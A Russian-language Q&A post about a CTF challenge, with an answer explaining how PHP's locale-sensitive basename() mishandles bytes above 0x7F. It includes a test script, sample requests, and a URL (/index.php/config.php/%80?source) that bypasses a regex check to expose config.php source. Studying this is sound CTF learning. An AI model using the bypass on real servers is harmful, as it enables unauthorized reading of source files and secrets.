Как шестнадцатеричное значение в URL-адресе меняет путь к файлу? - PullRequest
1 голос
/ 09 марта 2020

Я работаю над проблемой в CTF. Вот ссылка на вызов: Ссылка1

Когда я пытаюсь изменить путь на Ссылка2 .

, он успешно получил флаг, но когда шестнадцатеричное значение меньше 80, это не работает.

Я новичок и много копался, чтобы выяснить, как, но я не смог их найти. Могу я спросить, как это так?

1 Ответ

1 голос
/ 09 марта 2020

Похоже, что задача состоит в использовании причудливой функции PHP basename(). В соответствии с документацией:

Внимание: basename() ориентирован на локаль, поэтому для того, чтобы он видел правильное базовое имя с многобайтовыми символьными путями, соответствует языковой стандарт должен быть установлен с помощью функции setlocale().

Это означает, что если вы передадите ей строку, содержащую кодовые точки выше 0x7F, она попытается обработать их как многобайтовые персонажи. Поэтому передача случайных байтов в эту функцию может привести к его падению.

Я загрузил следующий скрипт на сервер для тестирования:

<?php

header("Content-Type: text/plain; charset=UTF-8");

echo '$_SERVER["PATH_INFO"] = ';
var_dump($_SERVER['PATH_INFO']);
echo '$_SERVER["PHP_SELF"] = ';
var_dump($_SERVER['PHP_SELF']);
echo 'basename($_SERVER["PHP_SELF"]) = ';
var_dump(basename($_SERVER['PHP_SELF']));

А вот результаты, полученные с помощью несколько выбранных запросов:

GET /index.php?source

$_SERVER["PATH_INFO"] = NULL
$_SERVER["PHP_SELF"] = string(15) "/index.php"
basename($_SERVER["PHP_SELF"]) = string(9) "index.php"

GET /index.php/config.php?source

$_SERVER["PATH_INFO"] = string(11) "/config.php"
$_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"

GET /index.php/config.php/XXX?source

$_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
$_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
basename($_SERVER["PHP_SELF"]) = string(3) "XXX"

GET /index.php/config.php/%F0%9F%98%80?source

$_SERVER["PATH_INFO"] = string(16) "/config.php/?"
$_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/?"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"

Вы заметите, что в последнем примере PHP не удалось проанализировать символ UTF-8 в конце строки PATH_INFO и по умолчанию было установлено предыдущее значение config.php вместо.

Таким образом, в приведенном вами примере ссылка на /index.php/config.php/%80?source привела бы к $_SERVER["PHP_SELF"], принимающему значение "config.php". Это позволяет вашему запросу пройти следующий тест, потому что $_SERVER['PHP_SELF'] заканчивается \x80, а не /:

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

. Таким образом, вы можете получить флаг из исходного кода config.php.

Интересная задача.


Примечание: Если вы зададите для языка PHP что-то, что принимает символы UTF-8 (например, setlocale(LC_ALL, 'en_GB.UTF8');), тогда он будет правильно обрабатывать символы ?, но все равно будет падать, если ему присвоена неправильная кодовая точка, такая как %80.

...